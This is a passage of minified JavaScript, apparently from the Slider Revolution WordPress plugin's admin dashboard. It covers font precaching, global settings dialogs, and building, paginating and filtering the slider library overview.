window.cacheOMT=jQuery("#rs_overview").offset().top,tpGS.gsap.set(RVS.C.rsOVM,{top:Math.max(32,window.cacheOMT-window.scroll_top)}),window.ov_scroll_targets)window.ov_scroll_targets.hasOwnProperty(i)&&window.ov_scroll_targets[i].obj.length>0&&(window.ov_scroll_targets[i].top=window.ov_scroll_targets[i].obj.offset().top,!window.ov_scroll_targets[i].shown&&window.ov_scroll_targets[i].top<window.scroll_top+window.outerHeight-200&&(tpGS.gsap.to(window.ov_scroll_targets[i].obj[0],1,{autoAlpha:1,ease:"power3.inOut"}),window.ov_scroll_targets[i].shown=!0),window.ov_scroll_targets[i].height=window.ov_scroll_targets[i].obj.height(),window.scroll_top+200>=window.ov_scroll_targets[i].top&&window.scroll_top<=window.ov_scroll_targets[i].top+window.ov_scroll_targets[i].height&&(e=i));e=-1===e?window.ov_scroll_targets.length-1:e,jQuery(".rso_scrollmenuitem").removeClass("active"),window.ov_scroll_targets[e].menu.addClass("active")}function a(){tpGS.gsap.set("#rs_overview_menu",{width:jQuery("#wpbody").width()}),jQuery("#wpadmin_overlay").width(jQuery("#adminmenuback").width()),jQuery("#wpadmin_overlay_top").height(jQuery("#wpadminbar").height()),s()}function d(e){e.keepOverlay||jQuery(".overview_elements").removeClass("infocus"),jQuery(".rs_library_el_next").hide(),jQuery(".rs_library_element.selected").each(function(){var i=jQuery(this);void 0!==e.id&&i.id===e.id||(tpGS.gsap.to(i.find(".rsle_tbar"),.3,{y:"-100%",transformOrigin:"50% 0%",ease:"power3.out"}),i.removeClass("menuopen"),setTimeout(function(){window.lastBreacCrumbText="",jQuery("#rsl_bread_selected").html(window.lastBreacCrumbText),i.removeClass("selected")},300))})}function l(e,i){if(void 0===i||void 0===e)return e;if(Array.isArray(i))for(var r in i)i.hasOwnProperty(r)&&-1==jQuery.inArray(i[r],e)&&e.push(i[r]);else-1==jQuery.inArray(i,e)&&e.push(i);return e}function o(e){if(void 0!==e.array&&e.array.length>0)for(var i in e.array)if(e.array.hasOwnProperty(i)){var r=e.sanitize?new Option(RVS.F.sanitize_input(RVS.F.capitalise(e.array[i])),e.array[i],!1,e.old===e.array[i]):new Option(RVS.F.capitalise(e.array[i]),e.array[i],!1,e.old===e.array[i]);r.className="dynamicadded",e.select.append(r)}}function n(e,i){return null==e?i:e}function c(e){return"false"===e||!1===e||"off"===e||void 0===e||0===e||-1===e?e=!1:"true"!==e&&!0!==e&&"on"!==e||(e=!0),e}updateGoogleFontRequirements=function(){RVS.F.askForGoogleFontUpdateNow=function(){RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"font_download",title:RVS_LANG.gfontsprecache,maintext:RVS_LANG.gfontsprecachenote,subtext:RVS_LANG.gfontsprecachenotesub,do:{icon:"check_circle",text:RVS_LANG.processnow,event:"preLoadCacheButtonClick",keepDialog:!0},cancel:{icon:"cancel",text:RVS_LANG.processlater},swapbuttons:!0})},RVS.DOC.on("preLoadCacheButtonClick",function(){RVS.F.RSDialog.close(),setTimeout(RVS.F.preLoadCacheButtonFunction,50)}),RVS.F.precacheNextGoogleFont=function(){RVS.S.precachedListIndex<RVS.S.precachedList.length?(RVS.C.precachecurrent.innerHTML=RVS.S.precachedList[RVS.S.precachedListIndex],RVS.S.precachedListIndex++,RVS.C.precacheamount.innerHTML=RVS.S.precachedListIndex+" of "+RVS.S.precachedList.length,RVS.F.ajaxRequest("load_google_font",{font:RVS.S.precachedList[RVS.S.precachedListIndex-1]},function(e){RVS.C.precacheamount.innerHTML=RVS.S.precachedListIndex+" of "+RVS.S.precachedList.length,RVS.F.precacheNextGoogleFont()},!0)):RVS.F.RSDialog.close()},RVS.F.checkPreloadCacheButtons=function(e){if(void 0!==RVS&&void 0!==RVS.SLIDER&&null!=RVS.SLIDER.globals)switch(RVS.SLIDER.globals.fontdownload){case"preload":RVS.C.deletFullCacheButton.show(),RVS.C.preLoadCacheButton.show(),!0!==e&&RVS.F.askForGoogleFontUpdateNow();break;default:RVS.C.deletFullCacheButton.hide(),RVS.C.preLoadCacheButton.hide()}},RVS.C.deletFullCacheButton=jQuery("#rs-grid-delete-fonts-cache"),RVS.C.preLoadCacheButton=jQuery("#rs-grid-preload-fonts-cache"),RVS.C.gFontSelect=document.getElementById("fontdownload"),RVS.F.collectGoogleFonts=function(e){e=null==e?1:parseInt(e),RVS.F.ajaxRequest("collect_google_fonts",{page:e},function(i){void 0!==i&&void 0!==i.fonts?(RVS.S.precachedListOriginal=jQuery.extend(!0,RVS.S.precachedListOriginal,i.fonts),i.more?(e++,RVS.F.collectGoogleFonts(e)):(RVS.F.showWaitAMinute({fadeOut:500,text:RVS_LANG.collectinggooglefonts}),setTimeout(function(){for(var e in RVS.S.precachedListOriginal)RVS.S.precachedListOriginal.hasOwnProperty(e)&&RVS.S.precachedList.push(e);RVS.F.RSDialog.create({modalid:"rbm_googleprecaching",bgopacity:.85}),RVS.C.precacheamount=document.getElementById("rs-fontprecache-amount"),RVS.C.precachecurrent=document.getElementById("rs-fontprecaching"),RVS.C.precacheamount.innerHTML="0 of "+RVS.S.precachedList.length,document.getElementById("aproxgloadtime").innerHTML=Math.round(4.8*RVS.S.precachedList.length),RVS.F.precacheNextGoogleFont()},100))):RVS.F.showWaitAMinute({fadeOut:500})},!0)},RVS.F.preLoadCacheButtonFunction=function(){RVS.S.precachedListOriginal,RVS.S.precachedList=[],RVS.S.precachedListIndex=0,RVS.F.showWaitAMinute({fadeIn:500,text:RVS_LANG.collectinggooglefonts}),RVS.F.collectGoogleFonts(1)},RVS.C.deletFullCacheButton.on("click",function(){RVS.F.ajaxRequest("delete_full_fonts_cache",{},function(){RVS.F.preLoadCacheButtonFunction()},!0)}),RVS.C.preLoadCacheButton.on("click",RVS.F.preLoadCacheButtonFunction),RVS.DOC.on("click","#rbm_googleprecaching .rbm_close",function(){RVS.S.precachedListIndex=1e3}),null!=RVS.C.gFontSelect&&null!==RVS.C.gFontSelect&&null==RVS.C.gfontSelectListener&&(RVS.C.gfontSelectListener=!0,RVS.F.checkPreloadCacheButtons(!0),jQuery(RVS.C.gFontSelect).on("change",function(){RVS.SLIDER.globals.fontdownload=this.value,RVS.F.checkPreloadCacheButtons()}))},openGlobalSettings=function(){window.initGlobalSettings||(RVS.C.rbgf=void 0===RVS.C.rbgf?jQuery("#rbm_globalfontsettings"):RVS.C.rbgf,RVS.C.rbgs=void 0===RVS.C.rbgs?jQuery("#rbm_globalsettings"):RVS.C.rbgs,RVS.F.initOnOff(RVS.C.rbgs),window.revbuilder=void 0===window.revbuilder?{}:window.revbuilder,RVS.SLIDER=void 0===RVS.SLIDER?{}:RVS.SLIDER,RVS.F.ajaxRequest("get_global_settings",{},function(e){var i,r;e.success&&(RVS.SLIDER.globals=(i=null==(i=e.global_settings)?{}:i,(r={}).version=r.version<"6.0.0"?"6.0.0":r.version,r.permission=n(i.permission,"admin"),r.lang=n(i.lang,"default"),r.allinclude=c(n(i.allinclude,!0)),r.highContrast=c(n(i.highContrast,!1)),r.includeids=n(i.includeids,""),r.script=n(i.script,{footer:!0,defer:!0,full:!1,async:!0,ytapi:!0}),r.imgcrossOrigin=n(i.imgcrossOrigin,"unset"),r.lazyloaddata=n(i.lazyloaddata,""),r.fontdownload=n(i.fontdownload,"off"),r.script.footer=c(r.script.footer),r.script.defer=c(r.script.defer),r.script.async=c(r.script.async),r.script.full=c(r.script.full),r.fontawesomedisable=c(i.fontawesomedisable),r.onedpronmobile=c(i.onedpronmobile),r.forceLazyLoading=n(i.forceLazyLoading,"smart"),r.forceViewport=n(i.forceViewport,!0),r.lazyonbg=n(i.lazyonbg,!1),r.forcedViewportDistance=n(i.forcedViewportDistance,"-200px"),r.internalcaching=c(i.internalcaching),r.tracking=n(i.tracking,"1999-01-01"),r.trackingOnOff="enabled"==r.tracking,r.fonturl=n(i.fonturl,""),r.size=n(i.size,{desktop:1240,notebook:1024,tablet:778,mobile:480}),r.customfonts=n(i.customfonts,""),r.customFontList=n(i.customFontList,[{family:"",url:"",frontend:!1,backend:!0,weights:"200,300,400,500,600,700,800,900"}]),r),window.initGlobalSettings=!0,RVS.F.updateEasyInputs({container:RVS.C.rbgs,path:"",trigger:"init"}),updateGoogleFontRequirements())}),RVS.DOC.on("click",".deletecustomglobalfont",function(e){RVS.SLIDER.globals.customFontList.splice(this.dataset.todelete,1),i()}),RVS.DOC.on("click","#add_new_custom_font",function(){RVS.SLIDER.globals.customFontList.length<9&&(RVS.S.glob_cus_fonts[0].innerHTML+=e(RVS.SLIDER.globals.customFontList.length),RVS.SLIDER.globals.customFontList.push({family:"",url:"",frontend:!1,backend:!0,weights:"200,300,400,500,600,700,800,900"}),RVS.F.initOnOff(RVS.C.rbgf),RVS.F.updateEasyInputs({container:RVS.C.rbgf,path:"",trigger:"init"}))}),RVS.DOC.on("click","#rs_gl_custom_fonts",function(){i(),RVS.F.RSDialog.create({modalid:"rbm_globalfontsettings",bgopacity:.85})}),RVS.DOC.on("click","#rbm_globalfontsettings .rbm_close",function(){RVS.F.RSDialog.close()}),jQuery("#rbm_globalsettings_savebtn").off("click").on("click",function(){RVS.F.ajaxRequest("update_global_settings",{global_settings:RVS.SLIDER.globals},function(e){RVS.F.RSDialog.close()})}),jQuery("#add_custom_global_fonts").off("click").on("click",function(){RVS.SLIDER.globals.customfonts[RVS.SLIDER.globals.customfonts.length]="",jQuery("#general_custom_fonts_list").append('<label_a></label_a><input type="text" class="easyinit globalinput" data-r="globals.customfonts.'+(RVS.SLIDER.globals.customfonts.length-1)+'" placeholder="font-family, style1, style2"><span class="linebreak"></span>')})),RVS.F.RSDialog.create({modalid:"rbm_globalsettings",bgopacity:.85})},initBasics=function(){jQuery("#newsletter_mail").val(""),tpGS.gsap.set(".plugin_inforow",{autoAlpha:0}),window.tp_twitter=initTwitter("twitter_timeline"),initFeatureSliders()},initFeatureSliders=function(){jQuery(".feature_slider").each(function(){jQuery(this).show().revolutionInit({jsliderType:"hero",visibilityLevels:"9999,9999,9999,9999",gridwidth:380,gridheight:430,perspective:600,perspectiveType:"global",lazyloaddata:"lazy-src",editorheight:"330",responsiveLevels:"9999,9999,9999,9999",progressBar:{disableProgressBar:!0},navigation:{onHoverStop:!1},viewPort:{enable:!0},fallbacks:{allowHTML5AutoPlayOnAndroid:!0}})})},drawOVOverview=function(e){e=void 0===e?{noanimation:!1}:e;var i=sliderLibrary.output.find(".overview_elements");if(i.find(".rsl_breadcrumb_wrap").remove(),-1!==sliderLibrary.selectedFolder||sliderLibrary.inSlideMode){var r='<div class="rsl_breadcrumb_wrap">';if(r+='<div class="rsl_breadcrumb" data-folderid="-1"><i class="material-icons">apps</i>'+RVS_LANG.simproot+"</div>",r+='<i class="rsl_breadcrumb_div material-icons">keyboard_arrow_right</i>',-1!==sliderLibrary.selectedFolder){for(var t="",a=sliderLibrary.selectedFolder;-1!==a;){var d=RVS.F.getOVSliderIndex(a);t='<div class="rsl_breadcrumb" data-folderid="'+a+'"><i class="material-icons">folder_open</i>'+sliderLibrary.sliders[d].title+'</div><i class="rsl_breadcrumb_div material-icons">keyboard_arrow_right</i>'+t,a=sliderLibrary.sliders[d].parent||-1}r+=t}sliderLibrary.inSlideMode&&(r+='<div class="rsl_breadcrumb" data-folderid="'+sliderLibrary.sliders[RVS.F.getOVSliderIndex(sliderLibrary.selectedSlider)].parent+'"><i class="material-icons">burst_mode</i>'+sliderLibrary.sliders[RVS.F.getOVSliderIndex(sliderLibrary.selectedSlider)].title+'</div><i class="rsl_breadcrumb_div material-icons">keyboard_arrow_right</i>'),r+='<div id="rsl_bread_selected" class="rsl_breadcrumb"></div>',r+="</div>",i.append(r)}sliderLibrary.inSlideMode,-1!=sliderLibrary.selectedFolder||sliderLibrary.inSlideMode?sliderLibrary.backOneLevel.appendTo(i):sliderLibrary.backOneLevel.detach();var l=0;if(!0!==sliderLibrary.inSlideMode){for(var o in sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(o)){var n=sliderLibrary.sliders[o];void 0===sliderLibrary.pages||jQuery.inArray(n.id,sliderLibrary.pages[sliderLibrary.selectedPage-1])>=0?(l++,void 0!==n.ref&&n.folder&&n.ref.remove(),0===n.slide_id&&!0===n.folder&&(n.slide_id=Math.round(1e8*Math.random())),n.ref=void 0===n.ref||n.folder?buildOVElement(n):n.ref,e.noanimation||tpGS.gsap.fromTo(n.ref,.4,{autoAlpha:0,scale:.8,transformOrigin:"50% 50%",force3D:!0},{scale:1,autoAlpha:1,ease:"power3.inOut",delay:.02*l}),n.ref.appendTo(i),doOVDraggable(n.ref)):void 0!==n.ref&&n.ref.detach()}}else{i.find(".rs_library_element").detach(),tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:0,opacity:0,ease:"power3.inOut"});var c=1;for(var o in sliderLibrary.slidesOrder[sliderLibrary.selectedSlider]){if(void 0!==(d=sliderLibrary.slidesOrder[sliderLibrary.selectedSlider][o])&&sliderLibrary.slides[sliderLibrary.selectedSlider].hasOwnProperty(d)){n=sliderLibrary.slides[sliderLibrary.selectedSlider][d];l++;var u=getSliderObjFromList(sliderLibrary.selectedSlider);n.ref=void 0===n.ref?buildOVElement({premium:void 0!==u?u.premium:void 0,order:c,title:n.title,bg:n.customAdminThumbSrc,id:sliderLibrary.selectedSlider,slide_id:n.id,type:"slide",state:n.state}):n.ref,n.ref.appendTo(i),c++,e.noanimation||tpGS.gsap.fromTo(n.ref,.4,{autoAlpha:0,scale:.8,transformOrigin:"50% 50%",force3D:!0},{scale:1,autoAlpha:1,ease:"power3.inOut",delay:.02*l})}}doOVSortable(i)}s()},getSliderObjFromList=function(e){var i;for(var r in sliderLibrary.sliders)void 0===i&&sliderLibrary.sliders.hasOwnProperty(r)&&""+sliderLibrary.sliders[r].id==""+e&&(i=sliderLibrary.sliders[r]);return i},buildOVElement=function(e,i){var r=e.folder?"folder_library_element":"",t=jQuery('<div class="image_container_underlay"></div>'),s=e.premium?'<div class="rs_lib_premium_wrap"><div class="rs_lib_premium_lila">'+RVS_LANG.premium+'</div><div class="rs_lib_premium_red"><i class="material-icons">visibility_off</i>'+RVS_LANG.premium+'</div><div class="rs_lib_premium_red_hover"><i class="material-icons">visibility_off</i>'+RVS_LANG.premiumunlock+"</div></div>":"";if(obj=i?jQuery('<div data-itemtype="'+e.type+'" data-sliderid="'+e.id+'" data-slideid="'+e.slide_id+'" class="folder_in_list rs_library_element '+r+'">'+s+'<div class="rsle_footer"><input class="title_container" value="'+e.title+'""><i class="show_rsle material-icons">keyboard_arrow_down</i></div></div>'):jQuery('<div data-itemtype="'+e.type+'" data-sliderid="'+e.id+'" id="slider_id_'+e.id+'" data-slideid="slide_id_'+e.slide_id+'" class="'+("unpublished"===e.state?"unpublished":"")+"  rs_library_element "+r+'">'+s+'<div class="rsle_footer">'+("slide"===e.type?'<div id="slide_order_number'+e.slide_id+'" class="slide_order_number">#'+e.order+"</div>":"")+'<div class="rs_library_el_next"></div><input data-id="'+e.id+'" data-slideid="'+e.slide_id+'" id="slider_title_'+e.slide_id+'" class="title_container '+("slide"===e.type?"slide_with_number":"")+'" value="'+e.title+'""><i class="material-icons iconofunpublished">visibility_off</i><i class="show_rsle material-icons">arrow_drop_down</i></div></div>'),obj.append(t),!i){var a='<div class="rsle_tbar">',d=e.folder?jQuery('<div class="link_to_slideadmin enter_into_folder" data-info="'+RVS_LANG.openFolder+'"  data-folderid="'+e.id+'"></div>'):jQuery('<div class="link_to_slideadmin '+("slide"!==e.type&&e.slide_ids.length>1?"pull_icon_left":"")+'" data-title="'+e.title+'" data-info="'+RVS_LANG.openInEditor+'"><div class="link_to_quickeditor" data-info="'+RVS_LANG.openQuickEditor+'"><i class="material-icons">text_format</i></div><div class="link_to_quickstyleeditor" data-info="'+RVS_LANG.openQuickStyleEditor+'"><i class="material-icons">style</i></div><a class="link_to_slideadmin_a" data-title="'+e.title+'" data-info="'+RVS_LANG.openInEditor+'" href="'+RVS.ENV.admin_url+"&view=slide&id="+e.slide_id+'"><i class="material-icons">edit</i></a></div>'),l=e.folder||"slide"===e.type||e.slide_ids.length<2?"":jQuery('<div class="link_to_slides_overview" data-info="'+RVS_LANG.showSlides+'" data-title="'+e.title+'" data-id="'+e.id+'"><i class="material-icons">burst_mode</i></div>');if("slide"!==e.type&&(a+='<div class="rsle_tool embedslider" data-id="'+e.id+'"><i class="material-icons">add_to_queue</i><span class="rsle_ttitle">'+RVS_LANG.embed+"</span></div>"),"slide"!==e.type&&(a+='<div class="rsle_tool exportslider" data-id="'+e.id+'" ><i class="material-icons">file_download</i><span class="rsle_ttitle">'+RVS_LANG.export+"</span></div>"),"slide"!==e.type&&(a+='<div class="rsle_tool exporthtmlslider" data-id="'+e.id+'" ><i class="material-icons">code</i><span class="rsle_ttitle">'+RVS_LANG.exporthtml+"</span></div>"),"slide"!==e.type&&(a+='<div class="rsle_tool duplicateslider" data-id="'+e.id+'" ><i class="material-icons">content_copy</i><span class="rsle_ttitle">'+RVS_LANG.duplicate+"</span></div>"),"slide"!==e.type&&(a+='<div class="rsle_tool previewslider" data-title="'+e.title+'" data-id="'+e.id+'" ><i class="material-icons">search</i><span class="rsle_ttitle">'+RVS_LANG.preview+"</span></div>"),"slide"!==e.type&&(a+='<div class="rsle_tool tagsslider" data-id="'+e.id+'" ><i class="material-icons">local_offer</i><span class="rsle_ttitle">'+RVS_LANG.tags+"</span></div>"),a+='<div class="rsle_tool renameslider" data-id="'+e.id+'" ><i class="material-icons">title</i><span class="rsle_ttitle">'+RVS_LANG.rename+"</span></div>","slide"===e.type&&(a+='<div class="rsle_tool publishslide" data-id="'+e.id+'" data-slideid="'+e.slide_id+'" ><i class="material-icons">visibility</i><span class="rsle_ttitle">'+RVS_LANG.publish+"</span></div>"),"slide"===e.type&&(a+='<div class="rsle_tool unpublishslide" data-id="'+e.id+'" data-slideid="'+e.slide_id+'"><i class="material-icons">visibility_off</i><span class="rsle_ttitle">'+RVS_LANG.unpublish+"</span></div>"),"slide"===e.type&&(a+='<div class="rsle_tool duplicateslide" data-id="'+e.id+'" data-slideid="'+e.slide_id+'"><i class="material-icons">content_copy</i><span class="rsle_ttitle">'+RVS_LANG.duplicate+"</span></div>"),"slide"===e.type&&(a+='<div class="rsle_tool deleteslider" data-id="'+e.id+'" data-slideid="'+e.slide_id+'"><i class="material-icons">delete</i><span class="rsle_ttitle">'+RVS_LANG.delete+"</span></div>"),e.folder||(a+='<div class="rsle_tool adminthumb" data-id="'+e.id+'" data-slideid="'+e.slide_id+'" ><i class="material-icons">photo</i><span class="rsle_ttitle">'+RVS_LANG.thumbnail+"</span></div>"),"slide"===e.type||e.folder||(a+='<div class="rsle_tool optimizeslider" data-id="'+e.id+'" ><i class="material-icons">flash_on</i><span class="rsle_ttitle">'+RVS_LANG.optimize+"</span></div>"),"slide"!==e.type&&(a+='<div class="rsle_tool deleteslider" data-id="'+e.id+'" ><i class="material-icons">delete</i><span class="rsle_ttitle">'+RVS_LANG.delete+"</span></div>"),"slide"!==e.type){for(var o in a+='<div class="rsle_tool_tagwrap"><select data-id="'+e.id+'" id="tags_'+e.id+'" class="elementtags searchbox" multiple="multiple" data-theme="blue">',sliderLibrary.filters.tags){if(sliderLibrary.filters.tags.hasOwnProperty(o))a+="<option "+(jQuery.inArray(sliderLibrary.filters.tags[o].toLowerCase(),e.tags)>=0?' selected="selected" ':"")+'value="'+RVS.F.sanitize_input(sliderLibrary.filters.tags[o].toLowerCase())+'">'+RVS.F.sanitize_input(sliderLibrary.filters.tags[o])+"</option>"}a+="</select></div></div>"}a=jQuery(a),obj.append(d),e.folder||obj.append(l),obj.append(a),a.find(".elementtags").ddTP({tags:!0,tokenSeparators:[","," "]}),a.find(".elementfolders").ddTP(),e.folder||obj.append('<div class="rsle_move_and_edit" data-info="'+RVS_LANG.moveToFolder+'"></div>')}if(e.children&&e.children.length>0){var n=[],c=!1;for(var o in e.children)if(e.children.hasOwnProperty(o)){for(var u in c=!1,sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(u)&&sliderLibrary.sliders[u].id==e.children[o]){c=!0;break}c&&n.push(e.children[o])}e.children=n}if(e.folder)if(-1!=e.id&&"root"!=e.quicktype||(obj.addClass("rootlevel_wrap"),t.append('<div class="rootfolder"><i class="material-icons">apps</i><span class="nsb_title">'+RVS_LANG.root+"</span></div>")),"parent"===e.quicktype)obj.addClass("rootlevel_wrap"),t.append('<div class="rootfolder"><i class="material-icons">reply</i><span class="nsb_title">'+RVS_LANG.parent+"</span></div>"),obj.append(jQuery('<div class="rsle_folder"><i class="material-icons">folder_open</i></div>'));else{obj.append(jQuery('<div class="rsle_folder"><i class="material-icons">folder_open</i></div>'));for(o=1;o<=4;o++){var p=jQuery('<div class="folder_img_placeholder folder_img_'+o+'"></div>');if(void 0!==e.children&&e.children.length>=o){var S=findRekursiveChildImage(RVS.F.getOVSliderIndex(e.children[e.children.length-o]));-1!==S&&!1!==S&&RVS.F.setObjBg(sliderLibrary.sliders[S],p)}t.append(p)}}else{var _=jQuery('<div class="image_container"></div>');obj.append(_),RVS.F.setObjBg(e,_)}return obj},findRekursiveChildImage=function(e,i){if(i=void 0!==i&&i,!0===sliderLibrary.sliders[e].folder&&!0!==i){var r=sliderLibrary.sliders[e].children.length-1;for(var t in sliderLibrary.sliders[e].children)if(!1===i){var s=RVS.F.getOVSliderIndex(sliderLibrary.sliders[e].children[r-t]);void 0!==sliderLibrary.sliders[s]&&!0===sliderLibrary.sliders[s].folder?i=findRekursiveChildImage(s,i):void 0!==sliderLibrary.sliders[s]&&""!==sliderLibrary.sliders[s].bg&&(i=s)}}else void 0!==sliderLibrary.sliders[e]&&""!==sliderLibrary.sliders[e].bg&&(i=e);return i},buildOVPagination=function(e){if(sliderLibrary.inSlideMode)tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:0,opacity:0,ease:"power3.inOut"});else{var i=Math.max(1,Math.floor((sliderLibrary.output.width()+30)/290)),r=i,t=RVS.F.getCookie("rs6_overview_pagination");if(sliderLibrary.maxAmountPerPage!==i){jQuery("#pagination_select_2").ddTP("destroy"),sliderLibrary.maxAmountPerPage=i;for(var s=0;s<=4;s++){var a=document.getElementById("page_per_page_"+s);a.value=r,a.selected=a.value===t,a.innerHTML=RVS_LANG.show+" "+r+" "+RVS_LANG.perpage,r*=2}jQuery("#pagination_select_2").ddTP()}sliderLibrary.inited=!0,sliderLibrary.sliders.length<=i?(sliderLibrary.output.find(".overview_header_footer").hide(),sliderLibrary.output.find(".overview_pagination").val("all")):sliderLibrary.output.find(".overview_header_footer").show(),sliderLibrary.selectedPage=e.keeppage&&jQuery(".page_button.global_library_pagination.selected").length>0?jQuery(".page_button.global_library_pagination.selected").data("page"):1;var d,l=sliderLibrary.output.find(".ov-pagination"),o=sliderLibrary.output.find(".overview_pagination")[0].value||4,n=0,c=sliderLibrary.filteredList.length;if(c=-1!=sliderLibrary.selectedFolder?c+Math.ceil(c/parseInt(o)):c,sliderLibrary.pageAmount="all"===o?1:Math.ceil(c/parseInt(o)),sliderLibrary.itemPerPage="all"===o?99999:parseInt(o),sliderLibrary.itemPerPage=-1!=sliderLibrary.selectedFolder?sliderLibrary.itemPerPage-1:sliderLibrary.itemPerPage,l[0].innerHTML="",sliderLibrary.selectedPage=sliderLibrary.selectedPage>sliderLibrary.pageAmount?sliderLibrary.pageAmount:sliderLibrary.selectedPage,sliderLibrary.pageAmount>1)for(s=1;s<=sliderLibrary.pageAmount;s++)d=s!==sliderLibrary.selectedPage?"":"selected",l[0].innerHTML+='<div data-page="'+s+'" class="'+d+' page_button global_library_pagination">'+s+"</div>",1===s?l[0].innerHTML+='<div data-page="-9999" class="page_button global_library_pagination">...</div>':s===sliderLibrary.pageAmount-1&&(l[0].innerHTML+='<div data-page="9999" class="page_button global_library_pagination">...</div>');for(var u in smartPagination(),sliderLibrary.pages=[],sliderLibrary.pages.push([]),sliderLibrary.filteredList)sliderLibrary.filteredList.hasOwnProperty(u)&&(sliderLibrary.pages[sliderLibrary.pages.length-1].push(sliderLibrary.filteredList[u]),++n===sliderLibrary.itemPerPage&&(n=0,sliderLibrary.pages.push([])))}},resetAllOVFilters=function(){sliderLibrary.selectedPage=1,jQuery("#sel_overview_sorting").val("datedesc").ddTP("change"),jQuery("#sel_overview_filtering").val("all").ddTP("change"),RVS.DOC.trigger("updateSlidersOverview",{val:"datedesc",eventparam:"#reset_sorting",ignoreRebuild:!0,ignoreCookie:!0}),RVS.DOC.trigger("updateSlidersOverview",{val:"all",eventparam:"#reset_filtering",ignoreCookie:!0})},smartPagination=function(){sliderLibrary.pageAmount=parseInt(sliderLibrary.pageAmount,0),sliderLibrary.selectedPage=parseInt(sliderLibrary.selectedPage,0),jQuery(".page_button.global_library_pagination").each(function(){var e=parseInt(this.dataset.page,0),i=!1;1!==e&&e!==sliderLibrary.pageAmount||(i=!0),sliderLibrary.selectedPage<4&&e>0&&e<5&&(i=!0),sliderLibrary.selectedPage>sliderLibrary.pageAmount-3&&e>sliderLibrary.pageAmount-4&&e<9999&&(i=!0),e<9999&&e>=sliderLibrary.selectedPage-1&&e<=sliderLibrary.selectedPage+1&&e>0&&(i=!0),(sliderLibrary.selectedPage>=4&&-9999===e||sliderLibrary.selectedPage<=sliderLibrary.pageAmount-3&&9999===e)&&(i=!0),sliderLibrary.pageAmount<8&&(i=9999!=e&&-9999!=e),this.style.display=i?"inline-block":"none"})},filterMatch=function(e){return e.filter===e.o.source||e.filter===e.o.type||e.filter===e.o.size||jQuery.inArray(e.filter,e.o.tags)>=0},getParentPath=function(e){var i=[],r=0;for(i.push(e);-1!==e&&r<1e4;){r++;var t=RVS.F.getOVSliderIndex(e);e=-1!==t&&void 0!==sliderLibrary.sliders[t]&&sliderLibrary.sliders[t].parent||-1,i.push(e)}return i},updateOVFilteredList=function(e){e=void 0===e?{force:!1,keeppage:!1,noanimation:!1,focusItem:!1}:e;var i=sliderLibrary.output.find(".overview_filterby")[0].value;switch(sliderLibrary.output.find(".overview_sortby")[0].value){case"datedesc":sliderLibrary.sliders.sort(function(e,i){return i.id-e.id});break;case"title":sliderLibrary.sliders.sort(function(e,i){return e.title.toUpperCase().localeCompare(i.title.toUpperCase())});break;case"titledesc":sliderLibrary.sliders.sort(function(e,i){return i.title.toUpperCase().localeCompare(e.title.toUpperCase())});break;default:sliderLibrary.sliders.sort(function(e,i){return e.id-i.id})}sliderLibrary.oldlist=sliderLibrary.filteredList,sliderLibrary.filteredList=[];var r=jQuery("#searchmodules").val().toLowerCase();for(var t in sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(t)){var s=sliderLibrary.sliders[t];s.parent=void 0===s.parent?-1:s.parent;var a=getParentPath(s.parent),d=r.length>2&&jQuery.inArray(sliderLibrary.selectedFolder,a)>=0&&(s.title.toLowerCase().indexOf(r)>=0||s.tags.toString().toLowerCase().indexOf(r)>=0)&&("all"==i||filterMatch({o:s,filter:i})),l=r.length<3&&"all"==i&&s.parent==sliderLibrary.selectedFolder,o=r.length<3&&filterMatch({o:s,filter:i})&&jQuery.inArray(sliderLibrary.selectedFolder,a)>=0;(d||l||o)&&sliderLibrary.filteredList.push(s.id)}sliderLibrary.filteredList.length<1&&-1===sliderLibrary.selectedFolder&&0===r.length?tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:0,opacity:0,ease:"power3.inOut"}):tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:1,opacity:1,ease:"power3.inOut"}),sliderLibrary.isSlideMode&&tpGS.gsap.to("#modulesoverviewheader, #modulesoverviewfooter",.5,{autoAlpha:0,opacity:0,ease:"power3.inOut"}),(e.force||JSON.stringify(sliderLibrary.oldlist)!==JSON.stringify(sliderLibrary.filteredList))&&(buildOVPagination({keeppage:e.keeppage,focusItem:e.focusitem}),drawOVOverview({noanimation:e.noanimation,focusItem:e.focusItem}))},updateParentAttributes=function(){for(var e in sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(e)&&sliderLibrary.sliders[e].folder)for(var i in sliderLibrary.sliders[e].children)if(sliderLibrary.sliders[e].children.hasOwnProperty(i))if(sliderLibrary.sliders[e].children.indexOf(sliderLibrary.sliders[e].parent)>=0)sliderLibrary.sliders[e].parent=-1;else{var r=RVS.F.getOVSliderIndex(sliderLibrary.sliders[e].children[i]);-1!==r&&(sliderLibrary.sliders[r].parent=sliderLibrary.sliders[e].id)}},buildModuleFilters=function(){var e={folders:[],tags:[],types:[],sources:[],sizes:[]};for(var i in e.folders.push({id:-1,title:"Root"}),sliderLibrary.sliders)if(sliderLibrary.sliders.hasOwnProperty(i)){var r=sliderLibrary.sliders[i];e.tags=l(e.tags,r.tags),e.types=l(e.types,r.type),e.sources=l(e.sources,r.source),e.sizes=l(e.sizes,r.size),r.folder&&e.folders.push({id:r.id})}var t=sliderLibrary.output.find(".overview_filterby"),s=t.val();return t.find(".dynamicadded").remove(),o({select:t,array:e.tags,group:"Tags",old:s,sanitize:!0}),o({select:t,array:e.types,group:"Types",old:s}),o({select:t,array:e.sources,group:"Sources",old:s}),o({select:t,array:e.size,group:"Sizes",old:s}),t.ddTP({placeholder:"Select From 